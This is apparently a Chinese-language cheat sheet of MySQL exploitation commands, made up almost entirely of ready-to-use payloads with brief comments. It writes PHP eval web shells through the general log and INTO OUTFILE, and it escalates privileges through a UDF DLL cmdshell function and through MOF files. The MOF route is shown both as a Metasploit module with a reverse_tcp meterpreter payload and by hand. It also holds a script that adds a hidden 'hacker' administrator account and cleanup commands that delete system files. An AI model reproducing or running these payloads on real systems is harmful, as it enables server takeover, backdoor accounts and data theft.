set global general_log = "ON";set global general_log_file='C:/wamp64/www/ma.php';select '<?php eval($_POST[cmd]);?>';

union select 1,'<?php eval($_POST[123]);?>' INTO OUTFILE '/var/www/html/test.php' #union select 1,'<?php eval($_POST[123]);?>' INTO dumpfile '/var/www/html/test.php'#

create table udfeval(shellcode longblob);    //创建表
insert into udfeval values(load_file('F:/udf.dll'));  //在表里插入信息
select shellcode from udfeval into dumpfile 'C:\\windows\udf.dll';  //将表里面的信息导出
create function cmdshell returns string soname 'D:/phpstudy/sqlibs/MySQL5.7.26/lib/plugin/udf.dll';
select * from func; //在所有表中查找func
select cmdshell('whoami'); //进行whoami命令执行

MSF脚本自动化use exploit/windows/mysql/mysql_mof
# 设置payloadset payload windows/meterpreter/reverse_tcp
# 设置目标 MySQL 的基础信息set rhosts 192.168.127.132set username rootset password rootrun

var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker [email protected] /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

手工注入select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";

net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\test.mof /F /Snet user hacker /delete
net start winmgmt

udf提权：https://blog.csdn.net/qq_44881113/article/details/118907122mof提权原理及其过程：https://blog.csdn.net/aiquan9342/article/details/102075462?ops_request_misc=&request_id=&biz_id=102&utm_term=mof&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-102075462.142%5Ev10%5Econtrol,157%5Ev8%5Econtrol&spm=1018.2226.3001.4187